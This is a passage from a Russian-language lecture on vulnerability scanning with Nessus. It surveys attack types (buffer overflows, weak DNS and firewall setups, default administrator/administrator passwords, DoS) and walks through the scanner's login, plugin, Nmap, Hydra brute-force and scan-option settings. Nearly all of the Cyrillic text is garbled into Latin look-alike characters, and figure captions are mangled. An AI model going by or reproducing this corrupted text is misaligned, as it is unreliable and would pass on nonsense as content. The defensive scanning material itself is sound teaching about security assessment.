MOMOIIbIO KOTOPBIX 3HAIOIINI YeJIOBEK MOKET BBI3BATh Pa3pyIlICHUE CUCTEMbI OPraHU3allUu.
Ilepenonnenue 0ydepa. [lepenonnenue Oydepa siBisieTCs, HECCOMHEHHO, HAaOO0JIee TOMYJIIPHBIM
crocoboM B3noma cucteM. [lepBbIM JOKYMEHTHPOBAHHBIM HCIIOJNB30BAHUEM IEPETOTHEHHUS
Oydepa Obur BeimymeHHbIH PobGeprom Moppucom 2 HosOps 1988 r. «wmHTEpHET-4epBbY,
KOTOPBIN, MCIONB3ys OIMHUOKY B mporpamme Finger, pacmpoctpansut cebst ¢ OMHONW MaIIWHBI Ha
pyryro. s CBOEro THpakupo- BaHUS OH MCIIOJIB30BAI TUIOXYIO KoH(purypanuio Sendmail u rsh.
«UYepBb» B370MaJ 3aIIUTy KPYMHEUIINX YHUBEPCUTETOB U JPYIMX OPTraHU3ALUN, MBITABIIMXCS
Crpa- BHUTBCS € OBICTPO pacmpocTpassromeiics omuoOkoid. C Tex Mop BO3MOXXHOCTH Tiepe-
nonHeHus: Oydepa OblIa HaliieHa MOYTH BO BCEX BaXKHBIX IpOrpaMMax M 4acTO KCIIOJIb30Ballach
TEMH, KTO IBITAJICS MOTYyYUTh HECAHKIIMOHUPOBAHHBIN JTOCTYII K CHCTEMAaM.

Kak 3zamututh cebsa or mnepenonHenus Oydepa? Ecnu Bbl HEe XOTUTE OTJIaXXKHUBAaTh BCE
IpUMEHSeMOEe BaMU MPOrpaMMHOE OOecrieueHre, OCTaeTCsl kKAaTh, KOrJa KTO-TO OOHApYKUT
OIIMOKY U COOOIIUT O HEl, a 3aTeM — KOTla MPOTrpaMMHUCTCKasi KOMITAHUA BBITYCTUT 3aruiaty. K
COYKAJICHHIO, OTCJICKUBAHHE BHIITYCKAaEMbIX 3aIUIAT U OTIpeJie- JICHUE TOTr0, KaKhe U3 HUX HMEIOT

K BaM OTHOIIIEHHE, HE TOBOPS YK€ 00 MX TECTHPO- BaHUU M YCTAaHOBKE, CIOCOOHO 3aHATh BCE
pabouee Bpems. MHOTrHE OpraHu3alM MPEINOYUTAIOT TPOCTO HE OECIIOKOWTHCS, a
OpraHu3aliy, IPUJIEKHO YCTaHABIMBA- IOIIME BCE 3aIUIaThl, 3a4acTyI0 HE YCIEBAIOT JeNIaTh 3TO
BOBpEMSI.

OpHUM U3 XOPOIIUX CIOCOOOB y3HATh, MMEIOTCS JIM YCIOBHUS Ui NepenoiHe- Hus Oydepa B
BaIlIUX MPUIIOKECHUSAX, SBISCTCS UX TECTUPOBAHKE C TIOMOIIBIO MPO- TPAMMHOTO O00ECTIeYeHUS
CKaHUPOBAHMSA YSA3BUMOCTEH. OTO TMO3BOJUT OOHAPYXHUTHh OOJBIIMHCTBO M3BECTHBIX
nepenojiHeHuid  Oydepa, CyImECTBYIOIIMX B CHCTEME, U CBOCBPEMEHHO IPUMEHUTH
KOPPEKTHPYIOLIHE 3aI1aThl, HEOOXOAUMBIE JIs1 yCTpaHe- HUS 3TUX YCIOBUH.

Cna0ble MecTa MapIIPYTH3aTOPOB M MEKCETEBbIX IKPAHOB. DTH YCTPOICTBA SBISIOTCS
nepBoil JMHUEH OOOpOHBI MPOTHUB IOCTOPOHHUX, NBITAIOIIMXCS MPOHMK- HYTh B Bally
KOpIopaTHBHYIO ceTh. OJHAKO B CBSI3M C BO3PACTAMOMIEH CIIOXHOCTBIO YCTPOMCTB U
MacTepCTBOM aTaKyIOIIMX MPU HEKOPPEKTHOM KOH(MUIYpPUPOBAHUHM 3TOT pPyOeX MOXKET
okazatbcs cnadbiM. OHa HeBEpHask CTPOKa KOH(HUTYpaluu MOXKET pa3pylIuTh MEKCETEBYIO
3amuTy. TeXHMYEeCKHi CHenuanucT, MBITAIOIMNACA MOo- OBICTpee HACTPOUTH JOCTYH IS
COTPYZHUKOB WJIM BHEIIHHUX IOJIb30BATENIeH, Jamie OyeT ommbaThcs B CTOPOHY pacIIupeHUs
JIOCTYTIA, a He JyYIllei 3aIlnThl.

Jlaxxe MexceTeBbIe SKpaHbl — Han0oJiee 3alUIIeHHBIC YCTPOUCTBA — HE 00J1a- Tat0T aOCOTOTHON
HEBOCIPUUMYMBOCTBIO K aTakaM. HeKoTopbie MeKceTeBbIe 3Kpa- Hbl CTPOSITCS MOBEPX OOBIYHBIX
OIepalMOHHbIX cucTeM, Takux kak Windows uinu UNIX, u moaToMmy MOTyT OBITh YS3BUMBI JIJIS
BceX OObIyHBIX aTak ypoBHs OC. [laxxe ecnu omepariioHHas CUCTEMa MEXKCETEBOTO 3KpaHa
SIBIISIETCS COOCTBEHHOM, B HEl MOTYT CYIIIECTBOBATh YSA3BUMOCTH. MHOTHE MEKCETEBBIC SKPAHBI
B3aMMOJICHCTBYIOT C MOJb30BaTEIsIMM TPU MOMOIIM BeO-cepBepa, a 3HAYUT, MOTYT OBITh
WCITOJIH30BaHHbI JIBIPBI B BeO-UHTEpdeiice.

Hcnoan3oBanne ysisBuMocTeii Bed-cepBepoB. B Halie Bpemst IpakTHYECKH KaXk1asi KOMITaHUS



JIOJDKHA MMETh BeO-CEpBEp, XOTSA M3BECTHO HAJIMYWE OIMIMOOK M JhIp B O€30MacCHOCTH JITOU
cuctembl. Cama uzes BeO-cepBepa — BO3MOKHOCTh OpaTh ¢ cepBepa Qailibl 6e3 Kakoi-mudo
ayTeHTH(UKAIIMM — CO3JaeT MOTEeHIHAN JjIs Opemiei B 3amure. HekoTtopwie BeO-cepBephl
3alllMIIEHbI JIy4lle, YEM JIPYrHe, HO Y KaXJI0r0 €CThb CBOM HENOCTAaTKU. B3110M 3TOl cucTeMsl
MOJKET BbI3BaTh UCKaXXEHHE HE TOJIbKO BEO-CTpAaHUIIbL, HO U 0a3 JaHHBIX U JPYTHX BHYTPEHHUX
CHCTEM, K KOTOPBIM OH OCY- IIECTBIISET JAOCTYII, YTO B HAIIE BPeMs SIBISICTCS OOIICTIPUHSATHIM.
Cepsepbl DNS. CepBepbl, KOTOpbIE YHPaBJISIOT M MOJJACPKUBAIOT JIOMEHHBIE MMEHA Balllei
OpraHu3aIny, SBJSIOTCS MPUBIICKATENFHON 11ebI0 171 xakepoB. Oc- HoBHOM DNS-cepsep, BIND
(Berkeley Internet Name Domain), mocTosHHO HaXOMWJI- Csi B IEPBOM JecsATKe HaubOoee
JKCITyaTUpYeMbIX xakepamu cepBucoB. DNS — crapas mporpamma, u cama ee CTPYKTypa
CHOCOOCTBYET HAJTMYHUIO JBIP (BMECTO MOJIYJIBHON apXUTEKTYPhI — OJIMH MOHOJIUTHBIA OMHAPHBIHA
daitn). DNS yacto 3amyckaeTcsi OT UMEHHU CYNEpIoJib30BaTes, UTO JIEIaeT ero B3JIoM elre Oonee
ormacHbIM. Kpome Toro, mockonbky DNS TpyaHo HacTpamBaTh M €ro Imjioxo HMOHHUMAIOT, OH
3a4acTyl0 CKOH(U- TYpUpOBaH HEMPaBUIBHO U 3allMIIEH II0X0. HacTpoWku MeKceTeBBIX
skpaHoB i DNS Hepenko CKOH(DHUTypUpOBaHBI HEBEPHO — OOJBIIMHCTBO CHCTEMHBIX
aJIMHHHUCTPATOPOB pa3pelarT HeuIbTPOBAaHHBIN JOCTYI BHYTPh U HAPYXKY.

YupagsieHue moJib3oBaTesiMu u (aiiiamu. Ita 001acTh SBISETCS OJJHOU U3 CAMBIX YSI3BHUMBIX
Uisi UH(POPMAIIMOHHOM 0e30macHOCTU. Bbl MOMKHBI MPENOCTaBUTH IMOJB30BATENSAM JOCTYI K
CUCTEMaM U NpOrpamMMaM, KOTOpPbIE HY)KHbl UM JJISl BBIIOJ- HEHUs paOboThl. OJHAKO KIIOUEBBIM
MOPUHIIMIIOM XOPOIIEeH 3alllUThl SIBISIETCA MPUHIMII MUHUMH3AIMM TPUBUIIETHI, TO €CTb
IIPEOCTaBIIEHUE [10JIb30BATENIM MUHUMAJIBHO J0- CTATOYHOT'O AJIsl pabOThI 10CTyIa — U HE OOJIbLIE.
OnpezeneHrie 3TOro ypoBHS — HEMIPO- CTas 3a7aua: CIUIIKOM MaJio IPaB BIEKYT 3a CO00i1 3BOHKHU U3
CIIy>kObI TOMOILM TIOJIb- 30BATEISIM U KAJIOObI, CIAUILIKOM MHOTO IpPaB OCJIA0AT 3alllUTy CBOEH
CUCTEMBL.

IlycTbie u cjaadble mapou. VMers ayTeHTH(QHUKAIHMIO C IYCTHIM MApoJIeM Ka- JKeTcs
HEBO3MOKHBIM, HO BO MHOTHX CETSX JIeJaeTCsa UMEHHO 3TO. TakyKe HEOXKHU- JaHHO PacCpOCTPAHEHO
UCTIOJIb30BaHUEe KOMOMHAIIMU TOJIb30BaTeNb/mapoib Buaa administrator/administrator, kotopas
CIY’)XHT Toapa3ymeBaemMoi HacTpoikoi Windows. «YepBu» u mporpammsl  B3JOMa
ABTOMATUYECKU MPOBEPSIOT 3TO YyciaoBue. Ecin OHM €ro HaxoaiT, TO HUMEIOT IOJIHBIN
aIMUHHUCTPATUBHBINA JIOCTYN K CUCTeMe. AHAIOTUYHO, KOT/Ia TIOJIb30BaTENU 334a0T Mapoiu, OHU
MOTyT MPOCTO OCTaBUTh MX IMYCTBIMU. OJTO JaeT WIaHC JI0OOMY, HMEIOUIEMY CIIHUCOK
I10JIb30BATENEH, MONBITaTLCS HAWTU CETEBBIE CEPBUCHI C IMyCThIM mapoisieM. [Ipu ckaHupoBanun
YSI3BUMOCTEH I1e- peYUCIIEHHbIE YCIIOBUS OYIyT IPOBEPSATHCS.

YT1euka nndopmanuun. B nouckax cnocob6a NpOHUKHYTh B CUCTEMY XaKepbl WM B3JIOMILUKU
HA4YMHAIOT C HEKOTOpOH 6a30Boi pa3Beaku. OHM MBITAIOTCSA KaK MOXKHO OOJIbIIE y3HATh O Balllen
CUCTEME M CETH, NPEeXAE YEeM IOIBITaThCA B3JIOMAaTh MX: MIIYT JJEKTPOHHBIE 3KBUBAJICHTHI
BBIKJIIOYEHHOI'O CBETA, HAKOMUBIINXCS Ta3€T, HE3aKPbhITHIX OKOH U T. J1. J[eaeTcs 3To ¢ HOMOIIbIO
psiia HHCTPYMEHTOB (HampHUMep CKaHephl NMOPTOB) WM JIPYTHX CPEJCTB B3JIOMA, OCTYIHBIX B
Wntepuere. K cokaneHnto, MHOTHE OIEpallMOHHBIE CHCTEMbl OXOTHO TIIOMOTAIOT 3TUM
HE3aKOHHBIM cOop- mukam uHpopmanuu, ocooenno Windows. ITockonbky ata OC co3naBaiach
KaK ca- MOHAcTpauBalollasicsl CeTeBasi CUCTEMA, OHA MpPeJIaraeT BCEBO3MOXKHYI0 UH(pOpMa- U0
10001 cucTeme, KOTOpasi ONpAIIMBAET €€ C MOMOUIbI0 Moaxosmeil koManabl. Ha ocHoBe 3THX
JAHHBIX BHEIIHUH IMOJIb30BAaTENb MOXET Cr€HEpHUPOBATh CIUCKU IOJb30BaTeNiel, pazenseMble
JIICKH U KaTaJoT1, UMEHa CUCTEM U COTPYTHHUKOB U JAPYTyI0 HHPOPMALIUIO, TOJIE3HYIO /171 B3JIOMA
MeTOJIOM TpyOoil Cuibl, KOTAa C IMO- MOIIBI0O aBTOMATU3MPOBAHHBIX MpPOrpaMM MpoOYHOTCS
pasiu4yHble KOMOMHAIMM TMa- pojie, a Takxke Ui NPUMEHEHUsS METOJOB MOPaIbHO-
TICHXOJOTHYECKOTO BO3ACHCTBHSL.

ATtaku Ha goctynHocth (DoS). He cymeB mosyunTe AOCTyn K Ballell CHUCTEME, MHOTHE
KOMIIBIOTEPHBIE MPECTYIMHUKH OTKJII0YAT €€, YTOOBI HUKTO IPYroi HE MOT €l BOCIOJIb30BaThCSI.
[Tpu OonbiioM oObeMe omepalnuii 3JIEKTPOHHOM KOMMEpPLHHU Yac IMPOCTOS MOXET CTOUTh
MUJUTMOHBI J1OJIJIapOB. ATaKM Ha JIOCTYIHOCTh MOTYT IPUHU- MaTh pa3ivyHble (OPMBI — OT
IIPOCTOrO 3aTOIUIEHHWS OCHOBHBIX MAapLIPyTH3aTOPOB IOTOKaMHM JaHHBIX JIO0 PEAJbHOTO
HCIIOJIb30BaHUs CJIaboro MecTa B MPOrpaMMe C lie- JIbIO HapylleHHsl paboThl CEpBHCa U BCETO
cepeepa. OT mepBOro TPyAHO 3AIIMTUTHCA, HO TOCJIEIHEE BIIOJIHE MNPEAOTBPATUMO IPHU



BBIABJICHUMW M IIOCICAYIOIIEM HCIIPABJIC- HUMU HJIKM HCKIIOYCHHWHN YCIOBHUSA, KOTOPOC CO34AaCT
BO3MOJXHOCTH IJid aTaKU Ha J0- CTYIIHOCTb.

CxkaHepbl yI3BUMOCTeH
CkaHepbl ysI3BUMOCTEM — 3TO NPOrpaMMHBIE WM alllapaTHbIE CPEACTBA, CIIy- JKallue Ul
OCYIIECTBJICHUS! JMAarHOCTUKM M MOHMTOPHUHIA CETEBBIX KOMIIBIOTEPOB, I103BOJISIIOIINE
CKaHUPOBATh CETH, KOMIIBIOTEPHl U IMPHJIOKEHHS HAa MpeAMET OOHa- PYXKEHUsS BO3MOXKHBIX
npobieM B cucreMe Oe30MacHOCTH, OLCHHWBATh M YCTPAHATH ySA3BUMOCTH. OHHU IMO3BOJSIOT
IIPOBEPUTH PA3JINYHbIC IIPUIIOKEHUS B CUCTEME HA NIPEAMET HAJIUYUSA «IbIP», KOTOPBIMU MOTYT
BOCIIOJIb30BaThCs 3JI0YMBIIUICHHUKH.
Nessus — 1eiCTBUTENIBHO UCKITIOYUTENbHAS IporpaMMa. JTO BEJIUKOJIEHbINA IPUMEP TOTO0, KaK
XOpOUIO MOT'YT paboTaTh NPOEKTHI C OTKPBITBIMU UCXOAHBIMH TeKcTaMU. OH HaJieKeH, XOPOLIO
JIOKYMEHTUPOBAH, OTJIMYHO MO/JIEP>)KUBAETCS, OH JIyd- MK B CBOEM KJ1acce. Nessus IOCTOSHHO
IOMANAeT B YHCJIO JIy4IIMX CpeOu BCEX CKa- HEPOB YA3BUMOCTEH — KOMMEPYECKHMX U
HEKOMMEPUYECKUX. DTO MOPA3UTENbHO, €CIU MPUHATh BO BHUMAHHUE €I0 KOHKYPEHTOB, CTOSIILIUX
TBICSIYU J0JUIAPOB U CO3AAHHBIX KPYIHBIMU KOMITAHUSIMH.
I'ayouna tectupoBanus. B Hacrosimee Bpemsi Nessus npemiaraer 6osee 2000 oTaenbHBIX
TECTOB YSA3BUMOCTEH, KOTOPbIE OXBATHIBAIOT MPAKTUUYECKU BCE 00JIACTH MOTEHLUAIBHO CIa0bIX
MecT B cuctemax. OyeHb HEMHOIME CYIIECTBYIOLIME CKaHEpPbl MOT'YT KOHKYpPUpOBaThb C
JOCTUTHYTBIM B Nessus YpOBHEM TECTUPOBAHMS, U HOBBIE TECThbl JOOABJIAIOTCS €XEIHEBHO
BCEMHUPHON CEThI0 pa3pabOoTUukoB. CKOPOCTh BbI- IyCKa HOBBIX TECTOB IS BBISABIISIEMBIX
YSI3BUMOCTEHM 0OBIUHO M3MEPSETCs THAMU, €CJIM HE YacaMHu.
APXHUTEKTYpa «KJHMEeHT — cepBep». /111 BbIOIHEHUS IPOBEPOK Oe30nmacHOCTH Nessus OnupaeTcst
Ha apXUTEKTYPY «KIHEHT — cepBep». CepBep BBINOJIHAET IPOBEP- KU, a KIMEHT KOHPUTYpUPYET U
yrpasiseT ceancaMu. ToT (hakT, 94TO KIMEHT U cep- Bep MOTYT OBITh pa3zeieHbl, IPEAOCTaBIsAET
HECKOJIBKO YHUKAJIBHBIX IPEUMYLIECTB. BO-TIEpBbIX, CKAHUPYIOLIUI CEPBEP MOXKHO PACIIOIOKUTH
BHE Ballleil ceTH, HO 00pa- MIaThCsl K HEMY U3HYTPH CETH uepe3 KIueHTa. Bo-BTOpbIX, pa3inuuHble
KIIMEHTBI MO- T'YT NOJI€PKUBATh Pa3HbIE ONIEPALUOHHBIE CUCTEMBI.
He3aBucumoctb. [lockosibKy MCXOAHBIE TEKCTHI Nessus OTKpBITHI, a BCTpauBa- €Mble MOJYJIH
HalMcaHbl pa3HOOOpa3HBIMU TPYNIIAMU CIIEUATUCTOB 110 MH(POpMa- IUOHHOW 0€3011acHOCTH, HE
INPUXOJUTCS ONacaTbCsl KaKUX-THM00 KOH(IMKTOB HMHTE- PECOB, BO3MOXKHBIX B KOMMEPYECKHX
KOMITIQHUSX.
BcerpoeHHblii fI3bIK cleHApHEB aTak. B 1omonHeHHE K apXUTEKType CO BCTpau- BaeMbIMHU
MoayssiMu B NessuS mMeercst COOCTBEHHBIH S3bIK CLICHAPUEB aTak, Ha3biBac- Mblii NASL (Nessus
Attack Scripting Language). DToT npocToit B U3ydeHHH CIYXKe0- HbIH S3BIK MMO3BOJISET JIETKO M
ObICTpO THCaTh COOCTBEHHbIE BCTpaMBaeMble MOJIYJIH Oe3omacHocTH, He 3Has Cu uiam Bcei
BHYTPEHHEHN CUCTEMBI OCHOBHOU MPOrPaMMBI.
HNuaTterpanus ¢ npyrumu cpeacreamu. CkaHep ys3BUMocTeN Nessus MOXKHO IPUMEHSATH €aM 110
cebe WIM COBMECTHO C HEKOTOPbIMH JPYTMMM 3alIUTHBIMH CpEA- CTBAMH C OTKPBITBIMH
UCXOJHBIMU TeKCTaMH. YacTb M3 HUX paccCMOTpeHa B 3TOH Jjla- OOpaTOpHOM paboTe, U BCe OHU
ABIIAIOTCS JTYYIIMMH U3 UMEIOIUXCs. BMecTo BCTpo- €eHHOTO MOKHO MPUMEHUTH JIYUILIUI B MUpPE
ckaHep noptoB — Nmap. Ckanep moptos B Nessus ObicTpee 1 HEMHOTO SKOHOMHEE B PACX0J0BaHUH
namsTH, Ho Nmap, KaKk Bbl y3HaJIM U3 J1abopaTopHOU paboThl NeS5, mpenocTaBisieT 3HaUUTEIbHO
6osble BO3- MOXKHOCTEH U HacTpoek. [loutn Bce mapameTrpsl Nmap MO>KHO KOH(UTYpUPOBaTh U3
knueHTa Nessus. Nessus Takxe padoraet ¢ Nikto 1 Whisker — cpeactBamu, KOTOpbI€ BBITOJIHSIOT
0oJee ClIoKHBIE IPOBEPKU Ha BeO-cepBepax.
HNuTennexktyajibHoe TecTHpoBaHue. Nessus MOXKHO HacTPOMTH TakK, YTOOBI OH HE BBIOJHSII
aBTOMATUYECKU BCE TECTHI yA3BUMOCTEN Ha BceX xocTax. Ha ocHOBe pe3ynbTaToOB CKAaHMPOBAHUS
MOPTOB WJIM JAPYTUX HCXOJIHBIX JAHHBIX, TaKUX KakK pe- 3yNbTaThl MNPEAbIAYHINX TECTOB
ys3BUMocTe, Nessus OyzeT 3amycKaTh TOJIBKO Te- CThl, HOIXOASIIME Ui JAHHOW MaIlIuHBI.
Mmno:xecTBo dopmaToB oT4eToB. NESSUS BXOIUT B YMCIIO JYYIIUX MPOTPaMM C OTKPBITBIMH
UCXOJHBIMU TEKCTaMU U II0 BO3MOKHOCTSIM T€HEpallMM OTYETOB. XOTSI OHM HE COBEPILEHHBI,
JaHHbIE CKAaHUPOBAHUSI MOXHO BBIJIATh 1MOYTH B JItoO0M (op- mate. bazoseiit HTML u HTML ¢
KPYTOBBIMHU TUarpaMMaMu U rpadukaMu — J1Ba Haubosiee nonyJisipHbIX popmara. B oTueTs! BXOAAT


http://www.intuit.ru/department/security/secopen/4/

UTOTOBBIE JAHHBIE, TAK YTO [10- YTH 0€3 PEelaKTUPOBAHUS UX MOXKHO Pa3MECTUTh Ha BHYTPEHHEM
BeO-caiire. IlognepxuBarorcsa Takxke (opmarsl oryeroB XML, LaTeX u OObIUHBIA TEKCT.
Kmuent Windows npearaer 1omoaHUTENbHbBIE (POPMATHI OTYETOB.

Bxoanasi crpanuna Nessus
IlepBoe, uto BBl yBUAWTE, OynaeT BxoaHas crpanuna Nessus (puc. 4.1). Bcenen- crBue
APXUTEKTYPHI KKIHEHT — CEPBEP», MIPEKIE UeM HauaTh paboTaTh ¢ Nessus, He0OX0MMO CHavyasa
BOTH B ero cepsep. Ecnu kimeHT u cepBep OyAyT 3amyckaTb- Csl HA OJHOM MalIMHE, TO
NPaBUIBHBIMH MTapaMEeTpaMH BX0oJ1a OyayT CIIEAYIOLIHE:
cepsep: localhost;
nopt: 1241;
BXOJHOE UMSI: UM, 33JJaHHOE MpU HacTpoiike Nessus;
[1apoJib: apoJib, 3alaHHbIi IpyU HacTpoiike Nessus.
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Puc. 4.1. Bxoanotii skpan Nessus

KnueHT u cepBep MOTYT Tak)Ke BBIIOJHATHCS Ha pa3HbIX MallMHaX. B 3ToMm ciydyae 3ameHuTe
localhost nHa IP-anpec min uMs xocta cepsepa Nessus. DT0 JaeT BO3MOKHOCTb BXOJIUTh U3 IoMa
B cepBepbl Nessus, (YHKIIMOHUPYIOIUE B OPraHu3a- LUK, U 3aIlyCKaTh CKAHUPOBAHUE MO3THEHN
HOYBIO.

Bkianka BcrpauBaembix moayJiei Nessus
[Tocne Bxoza BeI MoyyaeTe JOCTYI K pa3audHbIM BKIaakaM. C nmoMoribio Bkiiaaku Plugins
MO>KHO BBIOOPOUYHO BKJIFOYATh WUJIM OTKIIIOYATh OMpPEIeI€HHbIE TPYIIbI WM OTAETbHBIC
BCcTpamBaembie MOy H (puc. 4.2). Ha Bkiiagke repeduciie- Hbl BCe KaTeropuu, a KOr/aa Bbl
IIEJIKAETE MBIIIBIO HA HEKOTOPOM KaTErOpuH, TO HUXKE MOSABIISIIOTCS Bee ee MoAyu. CHUMast
(haXoK, KOTOPBIM HAXOAUTCS CIpaBa OT AJIe- MEHTA, MOKHO OTKJIFOUUTH KAaTETOPHIO UITH
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Plugin selection
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FTP
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Eicon Dighl LAN ISDN modem Do3 &
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a

MS RPC Services null pointer reference DoS
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MOJTYJIb.
Puc. 4.2. Briiagka BcrpanBaembix Moayiieii Nessus (Plugins)

Mopynu, KOTOpble MOTYT BBI3BIBATH IPOOJEMBI y CEepBUCA HIIM Kpax CEpPBEPOB, OTMEYEHBI
TPEYroJbHUKOM C BOCKJIMIATENbHBIM 3HAaKoM (cM. puc. 4.2). Kpome Toro, B Nessus umerorcs
KHOTIKH, KOTOpPBIE MO3BOJISIOT OBICTPO BKIIIOYMTH BCe BcTpamBae- Mble Moxynu (Enable all),
BKIIIOUUTH Bce MOAyiH, Kpome omacHbix (Enable all but dangerous plugins), oTkimtouuTh Bce
monynu (Disable all) unu 3arpy3uTh mnonb3oBa- Tenbckuil BcTpamBaemblii Monyib (Upload
plugin...). MoxHo ucnonb3oBate KHoOmKy Filter ans coprupoBku monyneir mo umenu (Name),
onucanuto (Description), cBoake (Summary), aBTopy (Author), naeHTHPUKATNOHHOMY HOMEDPY
(ID) wmu kareropum (Category). Kakx mpaBmio, pexkomeHayeTcss 3amyckaTb Nessus ¢
OTKJTFOYCHHBIMH OMTACHBIMH MOJIYJISIMU; BKITFOYAHTE WX, TOJILKO €CITU BBl TOTOBBI K HACTOSIIIEH TIPO-
BEpKe JJOCTYITHOCTH M CO3HATEIBHO HJIETE HA PUCK Kpaxa HEKOTOPHIX CEPBEPOB.

Bkaaaka npeanourenuii Nessus
BonbmmHCTBO cepBepHBIX oniuii Nessus KOHPUTYpUPYIOTCsS ¢ MOMOLIbI0 BKIaaku Preferences
(puc. 4.3). B cnenyromux pazzenax v nojapaszesnax JaHbl HOJpOOHbIE CBEIEHUS 00 3THX OIMIHUSIX.
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Mmap: -~ |
TCP scanning technigque :

) connect)

@ SvM scan
FiM scan

) Xmas Tree scan

2 SWMN FIN scan
) FIM SWN scan

2 Mull scan

| UDF port scan

| RPC port scan

Puc. 4.3. Briaaka npeanourenuii Nessus (Preferences)

Nmap. Hactpoiiku Nmap ucrons3yroTcs s WHAUBHYATBHOTO KOH(PHUTYPH- POBAHHS YaCTH,
OTBEYAIOLIEH IIpU BBIIIOJHEHUU TECTOB 3a CKAHMpPOBaHME IOpTOB. MHorme wH3 HUX
HETOCPEICTBEHHO CBA3aHbI ¢ HACTporkaMu Nmap, 00CyK1aBIIMMHU- C51 B JIAOOpAaTOpHOM padboTe
Ne5, xkyna u cnegyetr oOpaTuThCs 3a OAPOOHBIMU CBEJIE- HUSMH O Ka)KJOW OIIUH.

Login configurations (kon¢purypanmnu Bxoaa). B atom pasnene 3anarorcsa cuera A BXoJa,
€CIIU Bbl XOTUTE, 4T0OBI Nessus 0ojiee riry0oKo TeCTUPOBANl HEKO- TOpble cepBUCHL. CTaHIapTHOE
cKaHMpoBaHHe Nessus TpOBEpseT CeTh 0e3 MpuBJIeYe- HUSA KAKUX-JIMOO JONOJHHTEIBHBIX
JaHHBIX O HeW, kpome IP-ampecoB. OpHako ecim 3azaTh BXOJHOE MMS W Apoib s
KOHKPETHOI'O cepBHCca, TO Nessus MOABEPrHET €ro JOMOJIHUTEIbHBIM IIPOBEPKaM.

Brute-force login (Hydra) (Bxom meromoM rpy0oii cuibl). DTOT pas3jien I03BO- JISET
BOCIIOJIb30BaThCsl JOMOJHUTEIbHOM nporpammoiit Hydra, kotopast mpoBepsieT 1ie- JIOCTHOCTb
napoJieil Baimiel cucTembl. Bbl mpemocTaBisieTe el (aityi BXOIHBIX MMEH W IapoJield, a oHa
HOMBITACTCS] TPOMTH 1O BCEMY CIHCKY JUIsl BCEX YKa3aHHBIX CEPBHCOB. SErvices (cepBHCHI).
OTOT pas3znen MpelHa3HadeH Il TECTUPOBaHUs cepBUCOB SSL. MoXHO 3a7aTh npoBeEpsieMble
cepTu(uKaThl ¥ MOIYYUTh OTYET 00 ypoBHE HIM(POBAHUS, KOTOPbIN MOJACPKHUBAIOT BaIIU
BeO-cepBepbl. ITO MOTYT OBbITh JIOKAJIbHBIE CEPBEPHI, KOTOPbIE BCE €Ille JOMYCKAIOT CTapoe
40-OutHOe mHM(pPOBaHHWE, YTO B HAIE BPEMS CUMTAETCS HEOE30MacHBIM JUIS KPUTHYECKU
BaXXHBIX JIaHHBIX.

Bruagka Scan Options (onmuuu ckaHMPOBaHWUs)
B otinuue ot OTACJIIBHBIX TECTOB HAa BKJIAJIKE HpeI[HO‘-ITCHI/II\/'I OTa BKJIaJIKa CO- ACPIKUT HaCTpOI\/JIKI/I,
BITUSIOLINE Ha BECh porLecc CKaHWPOBAHUS (puc. 4.4).

Messusd host | Plugins | Prefs. | Scan options | Target selection | User | KB | Credits
Scan options
FPort range : 71— sooo
Consider unscanned ports as closed
PlumBber of hosts o test at the same time =0

rMumber of checks 10 Rerform at the sSumnme time - | 10
Fath to the CGls - Fogi-BinoCscr prs

Do a reverse lookup on the IF before testing it
O ptimize the test

Safe checks

Designate hosts by their MoC address

Detached scaur

Fort scanner

Puc. 4.4. Bxagka Scan Options B Nessus

Port range (amnana3on nopTos). JlaHHBII MapaMeTp KOHTPOJIUPYET a3y CKa- HUPOBAHHUS ITOPTOB,



3a/1aBas 1eyieBor auamnaszoH (mo ymomdanuto — 1...15 000, 4To MTOJKHO OXBATUTh OOJIBIIMHCTBO
OOBIYHBIX cepBHCOB). Ecim BB kKellaeTe MOMCKATh TPOSHCKUE MPOTPaAMMBI U IPYTHE CEPBUCHI,
NEeHCTByIOIME Ha HEOOBIYHO OOJBIIMX HOMEpax IOpPTOB, IMOApa3yMeBaeMblii JHMANa3oH
HEO0OXOAMMO PaCHIMPUTh U CKaHUPO- BaTh Bce 65 535 noptoB TCP u UDP.

Consider unscanned ports as closed (cuuTaTh HECKAHMPOBAHHBbIE MOPTHI 3aKPBITHIMH).
Jannas onmus 3actapisieT Nessus 00bsIBIAT HECKAHUPOBAHHBIE TIOPTHI 3aKPbITHIMHA. Bbl MokeTe
YTO-TO MPONYCTUTH, €CIU IMOCPEICTBOM MPEABIAYIICH OMIMK HE 33Jali IOCTATOYHO IIUPOKHMA
JMara3oH TOPTOB, HO 3aTO CKAHWPOBA- HHUE BBHIMOJHUTCS ObICTpEe W C MEHBIIUM CETEBHIM
TpaduKoMm.

Number of hosts to test at the same time (unc;10 oTHOBPEMEHHO TECTHPYEMBIX XOCTOB).
3amaeTcs YHUCIO XOCTOB, KOTOphIe Nessus TecTUpyeT mapai- JienbHO. B Oombinol cetu
BO3HHUKAET JKEJIaHUE 3aBBICUTH JIaHHBIM MapaMeTp U TeCTU- POBATh BCE XOCThI OJIHOBPEMEHHO.
OpHaKo ¢ HEKOTOPOrO MOMEHTA 3TO CTAaHOBHTCS KOHTPHPOIYKTUBHBIM. B neiicTBUTENIbHOCTH
CKaHHUpOBaHUE OyJIET JJIUTHCA JIOJIbILIE, a MOKET U BOOOIIe HE 3aKOHUYMUTCS, €CIIH OCTAaHOBUTCS
Ha KaKOM-TO OJTHOM XOCTE.

Number of checks to perform at the same time (4ucjio 0qHOBPEMEHHO BBIMOJIHSIEMbBIX
npoBepok). Nessus MOAIep)KUBACT MHOT033/Ia4HOCTh HE TOJBKO B CMBICIIC OJJHOBPEMEHHOTO
TECTHUPOBAHUS HECKOJIBKUX XOCTOB, HO U B CMBICJIE OJJHO- BPEMEHHOTO BBITMIOTHEHUS HECKOJIBKUX
nposepok. [TonpazymeBaemoe 3HaueHue 10 npencrapisieTcst pa3yMHbIM, OJHAKO B 3aBUCUMOCTHU
OT MIPOU3BOJIUTEIBHOCTH cepBe- pa Nessus MOKHO YBEITMYHUBATH UM YMEHbBIIATH €ro.

Path to the CGls (mapumpyt k CGIl). [TogpazymeBaemoe MecTo, rie Nessus Oyaer uckath Ha
ynaneHHoi cucteme CGIl-ipoueaypsl ast UX TecTUpoBaHuUs. Eciu Bbl HCTONB3yeTe HA MAITUHE
HEOOBIUHYIO KOH(HTYpaInio, TO HEOOXOAUMO 3a/1aTh MPABHILHBIA MapIIpyT, YTOOBI Nessus
nposepust CGI-tiponienypsl.

Do a reverse lookup on the IP before testing it (BbimosHsiTh 00paTHBI Mouck |P-agpeca
